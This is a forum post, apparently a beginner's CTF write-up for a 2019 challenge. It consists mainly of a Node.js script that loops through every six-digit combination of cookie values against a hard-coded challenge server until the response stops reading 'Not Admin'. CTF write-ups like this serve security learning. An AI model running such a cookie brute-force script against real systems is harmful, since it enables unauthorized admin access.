-
-
[原创]2019Q3 第7题 一个菜鸟的WP
-
发表于: 2019-9-11 14:17 2654
-
var http = require('http'); function nodePostGetRequest(HOST, PORT, method, bodydata, callBackFunction, path, cookie) { var body = bodydata; var bodyString = JSON.stringify(body); var headers = { 'Content-Type': 'application/json', 'Content-Length': bodyString.length, 'Cookie': cookie }; var options = { host: HOST, port: PORT, path: path, method: method, headers: headers }; var req = http.request(options, function(res) { res.setEncoding('utf-8'); var responseString = ''; res.on('data', function(data) { responseString += data; }); res.on('end', function() { callBackFunction(responseString); }); req.on('error', function(e) { console.log('-----error-------', e); }); }); req.write(bodyString); req.end(); } var mycookie = ""; var a=0,b=0,c=0,d=0,e=0,f=0; var go = true; var num=0; var str=""; function dealCallback(str){ console.log(str+"\n"); if(str == "Not Admin" && go)gogogo(); } function gogogo(){ str = String(num); while(str.length<6){ str = '0'+str; } console.log(str); a=str.substr(0,1); b=str.substr(1,1); c=str.substr(2,1); d=str.substr(3,1); e=str.substr(4,1); f=str.substr(5,1); mycookie = "key0="+a+";key1="+b+";key2="+c+";key3="+d+";key4="+e+";key5="+f; num++; console.log("trying: "+mycookie); nodePostGetRequest("154.8.174.214", "8080", "GET", "", dealCallback, "http://154.8.174.214:8080/index.php", mycookie); } gogogo();
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-9-25 10:02
被kanxue编辑
,原因:
赞赏
看原图
赞赏
雪币:
留言: